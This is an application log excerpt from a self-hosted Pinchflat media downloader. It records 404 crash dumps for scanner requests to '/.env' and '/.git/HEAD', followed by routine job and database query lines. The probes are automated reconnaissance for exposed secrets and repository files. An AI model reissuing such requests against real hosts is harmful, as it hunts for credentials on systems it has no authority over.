#PID<0.36651.0>, params: %{}, path_info: [""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Go-http-client/2.0"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMsGsCHO5vs04AAV2D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36650.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 37330}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36650.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 37330}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36651.0>, params: %{}, path_info: [""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Go-http-client/2.0"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMsGsCHO5vs04AAV2D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: (truncated) 21:39:46.128 [info] GET /.git/HEAD 21:39:46.129 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1878.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:46.130 [debug] QUERY OK source="settings" db=0.5ms idle=1879.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:46.130 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:39:46.131 [error] #PID<0.36652.0> running PinchflatWeb.Endpoint (connection #PID<0.36650.0>, stream id 2) terminated Server: youtube.plexultra.com:443 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36650.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 37330}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36652.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Go-http-client/2.0"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMsKbXSbtQ_DUAAV2j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36650.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 37330}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36650.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 37330}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36652.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Go-http-client/2.0"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMsKbXSbtQ_DUAAV2j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, (truncated) 21:39:50.607 [info] {"source":"oban","duration":2943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.227 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:20.614 [info] {"source":"oban","duration":3899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:50.619 [info] {"source":"oban","duration":2633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.229 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:20.624 [info] {"source":"oban","duration":2907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:50.631 [info] {"source":"oban","duration":2872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.231 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:20.637 [info] {"source":"oban","duration":2807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:50.646 [info] {"source":"oban","duration":3615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:57.877 [info] GET / 21:42:57.877 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:42:57.881 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1250.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:57.883 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1254.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:42:57.883 [debug] QUERY OK source="sources" db=0.1ms idle=1255.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:42:57.885 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=1255.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:42:57.886 [debug] QUERY OK source="media_items" db=0.5ms idle=745.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:42:57.896 [debug] QUERY OK source="settings" db=8.9ms queue=0.1ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:57.897 [debug] QUERY OK source="settings" db=0.2ms idle=13.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:57.898 [debug] QUERY OK source="settings" db=0.2ms idle=14.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:57.900 [debug] QUERY OK source="tasks" db=0.5ms idle=14.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:42:57.902 [debug] QUERY OK source="media_items" db=0.4ms idle=15.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:42:57.903 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:42:57.903 [debug] QUERY OK source="sources" db=0.3ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:42:57.908 [debug] QUERY OK source="media_items" db=2.0ms idle=8.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:42:57.909 [debug] QUERY OK source="media_items" db=1.1ms idle=8.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:42:57.910 [debug] QUERY OK source="sources" db=0.3ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:42:57.912 [info] Sent 200 in 35ms 21:42:58.801 [info] GET / 21:42:58.801 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:42:58.803 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=898.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:58.805 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.2ms idle=895.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:42:58.806 [debug] QUERY OK source="sources" db=0.2ms idle=895.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:42:58.808 [debug] QUERY OK source="media_items" db=2.3ms idle=895.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:42:58.810 [debug] QUERY OK source="media_items" db=0.7ms idle=665.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:42:58.811 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:58.811 [debug] QUERY OK source="settings" db=0.2ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:58.812 [debug] QUERY OK source="settings" db=0.3ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:58.815 [debug] QUERY OK source="tasks" db=0.8ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:42:58.817 [debug] QUERY OK source="media_items" db=0.7ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:42:58.818 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:42:58.819 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:42:58.825 [debug] QUERY OK source="media_items" db=2.0ms queue=0.2ms idle=10.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:42:58.828 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=10.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) 